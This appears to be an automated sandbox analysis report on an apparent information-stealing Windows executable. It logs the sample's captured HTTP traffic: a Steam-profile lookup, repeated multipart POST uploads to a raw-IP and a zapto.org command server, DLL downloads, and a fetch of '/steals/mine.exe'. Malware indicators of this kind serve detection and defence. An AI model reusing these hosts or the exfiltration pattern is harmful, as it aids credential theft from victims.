00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 104.102.49.249 104.102.49.249
Source: Joe Sandbox View	IP Address: 38.180.132.96 38.180.132.96
Source: Joe Sandbox View	IP Address: 168.119.176.241 168.119.176.241

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: AKAMAI-ASUS AKAMAI-ASUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 278Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 7013Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 498Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 457Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 99265Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 278Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 6801Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steals/mine.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: arpdabl.zapto.orgContent-Length: 5865Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003D5010 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_003D5010

Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steals/mine.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache

Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: arpdabl.zapto.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 278Connection: Keep-AliveCache-Control: no-cache

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/steals/mine.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://147.45.44.104/steals/mine.exe1kkkkles
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://147.45.44.104/steals/mine.exea
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://5.0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arp.119.176.241GD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.DAECIIDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.FCBFHIIDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.IDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.JJDAEContent-Disposition:
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.org
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arpdabl.zapto.org/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.orgAEC--
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.orgorm-data;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zaptoIIDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zaptoVWXYZ1234567890isposition:
